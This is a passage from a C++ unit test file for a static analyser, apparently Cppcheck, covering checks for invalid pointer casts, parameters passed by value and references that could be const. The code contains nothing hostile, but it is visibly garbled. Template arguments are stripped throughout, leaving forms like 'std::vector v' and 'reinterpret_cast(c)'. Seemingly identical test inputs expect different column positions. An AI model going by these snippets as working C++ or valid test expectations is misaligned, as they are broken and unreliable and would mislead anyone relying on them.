true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:10]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" const int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" static int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"int f(std::vector x) {\\n\"\n \" int& i = x[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" x.push_back(1);\\n\"\n \" int& i = x[0];\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& f(std::vector& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"int f(std::vector& x) {\\n\"\n \" x[0]++;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a = 1;\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a(); };\\n\"\n \"A f(std::vector& x) {\\n\"\n \" x[0].a();\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int& x);\\n\"\n \"int f(std::vector& x) {\\n\"\n \" g(x[0]);\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const 